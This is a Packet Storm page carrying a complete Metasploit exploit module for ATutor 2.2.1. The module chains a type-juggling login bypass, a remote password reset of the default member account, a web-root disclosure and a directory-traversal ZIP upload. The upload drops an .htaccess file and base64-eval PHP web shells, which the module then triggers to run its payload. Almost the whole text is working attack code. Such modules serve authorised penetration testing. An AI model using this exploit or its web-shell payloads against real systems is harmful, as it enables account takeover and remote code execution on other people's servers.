what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ATutor 2.2.1 Directory Traversal / Remote Code Execution

ATutor 2.2.1 Directory Traversal / Remote Code Execution
Posted Mar 29, 2016
Authored by mr_me | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in ATutor on an Apache/PHP setup with display_errors set to On, which can be used to allow us to upload a malicious ZIP file. On the web application, a blacklist verification is performed before extraction, however it is not sufficient to prevent exploitation. You are required to login to the target to reach the vulnerability, however this can be done as a student account and remote registration is enabled by default. Just in case remote registration isn't enabled, this module uses 2 vulnerabilities in order to bypass the authentication.

tags | exploit, remote, web, php, vulnerability
SHA-256 | 785e70dc713dbe9859a24caed94df37a4548874034fcd9af2cb5fcfe2e29d3b8

ATutor 2.2.1 Directory Traversal / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
'Description' => %q{
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
setup with display_errors set to On, which can be used to allow us to upload a malicious
ZIP file. On the web application, a blacklist verification is performed before extraction,
however it is not sufficient to prevent exploitation.

You are required to login to the target to reach the vulnerability, however this can be
done as a student account and remote registration is enabled by default.

Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
in order to bypass the authentication:

1. confirm.php Authentication Bypass Type Juggling vulnerability
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
],self.class)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def check
# there is no real way to finger print the target so we just
# check if we can upload a zip and extract it into the web root...
# obviously not ideal, but if anyone knows better, feel free to change
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
if student_cookie != nil && disclose_web_root
begin
if upload_shell(student_cookie, check=true) && found
return Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
end
else
# if we cant login, it may still be vuln
return Exploit::CheckCode::Unknown
end
else
# if no creds are supplied, it may still be vuln
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end

def create_zip_file(check=false)
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@archive_name = Rex::Text.rand_text_alpha_lower(3)
@test_string = Rex::Text.rand_text_alpha_lower(8)
# we traverse back into the webroot mods/ directory (since it will be writable)
path = "../../../../../../../../../../../../..#{@webroot}mods/"

# we use this to give us the best chance of success. If a webserver has htaccess override enabled
# we will win. If not, we may still win because these file extensions are often registered as php
# with the webserver, thus allowing us remote code execution.
if check
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
else
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
end
zip_file.pack
end

def found
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
})
if res and res.code == 200 and res.body =~ /#{@test_string}/
return true
end
return false
end

def disclose_web_root
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
})
@webroot = "/"
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
if @webroot != "/"
return true
end
return false
end

def call_php(ext)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, timeout=0.1)
return res
end

def exec_code
res = nil
res = call_php("pht")
if res == nil
res = call_php("phtml")
end
if res == nil
res = call_php("php4")
end
end

def upload_shell(cookie, check)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'vars_get' => {
'h' => ''
}
})
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
return true
end
# unknown failure...
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end

def find_user(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
'cookie' => cookie,
# we need to set the agent to the same value that was in type_juggle,
# since the bypassed session is linked to the user-agent. We can then
# use that session to leak the username
'agent' => ''
})
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
if username
return username
end
# else we fail, because we dont know the username to login as
fail_with(Failure::Unknown, "Unable to find the username!")
end

def type_juggle
# high padding, means higher success rate
# also, we use numbers, so we can count requests :p
for i in 1..8
for @number in ('0'*i..'9'*i)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "confirm.php"),
'vars_post' => {
'auto_login' => '',
'code' => '0' # type juggling
},
'vars_get' => {
'e' => @number, # the bruteforce
'id' => '',
'm' => '',
# the default install script creates a member
# so we know for sure, that it will be 1
'member_id' => '1'
},
# need to set the agent, since we are creating x number of sessions
# and then using that session to get leak the username
'agent' => ''
}, redirect_depth = 0) # to validate a successful bypass
if res and res.code == 302
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
return cookie
end
end
end
# if we finish the loop and have no sauce, we cant make pasta
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
end

def reset_password
# this is due to line 79 of password_reminder.php
days = (Time.now.to_i/60/60/24)
# make a semi strong password, we have to encourage security now :->
pass = Rex::Text.rand_text_alpha(32)
hash = Rex::Text.sha1(pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
'vars_post' => {
'form_change' => 'true',
# the default install script creates a member
# so we know for sure, that it will be 1
'id' => '1',
'g' => days + 1, # needs to be > the number of days since epoch
'h' => '', # not even checked!
'form_password_hidden' => hash, # remotely reset the password
'submit' => 'Submit'
},
}, redirect_depth = 0) # to validate a successful bypass

if res and res.code == 302
return pass
end
# if we land here, the TOCTOU failed us
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
end

def login(username, password, check=false)
hash = Rex::Text.sha1(Rex::Text.sha1(password))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => hash,
'form_login' => username,
'submit' => 'Login',
'token' => '',
},
})
# poor php developer practices
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
return cookie
end
end
# auth failed if we land here, bail
unless check
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
end
return nil
end

def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)

create_credential_login(login_data)
end

def exploit
# login if needed
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
print_good("Logged in as #{datastore['USERNAME']}")
# else, we reset the students password via a type juggle vulnerability
else
print_status("Account details are not set, bypassing authentication...")
print_status("Triggering type juggle attack...")
student_cookie = type_juggle
print_good("Successfully bypassed the authentication in #{@number} requests !")
username = find_user(student_cookie)
print_good("Found the username: #{username} !")
password = reset_password
print_good("Successfully reset the #{username}'s account password to #{password} !")
report_cred(user: username, password: password)
student_cookie = login(username, password)
print_good("Logged in as #{username}")
end

if disclose_web_root
print_good("Found the webroot")
# we got everything. Now onto pwnage
if upload_shell(student_cookie, false)
print_good("Zip upload successful !")
exec_code
end
end
end
end

=begin
php.ini settings:
display_errors = On
=end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close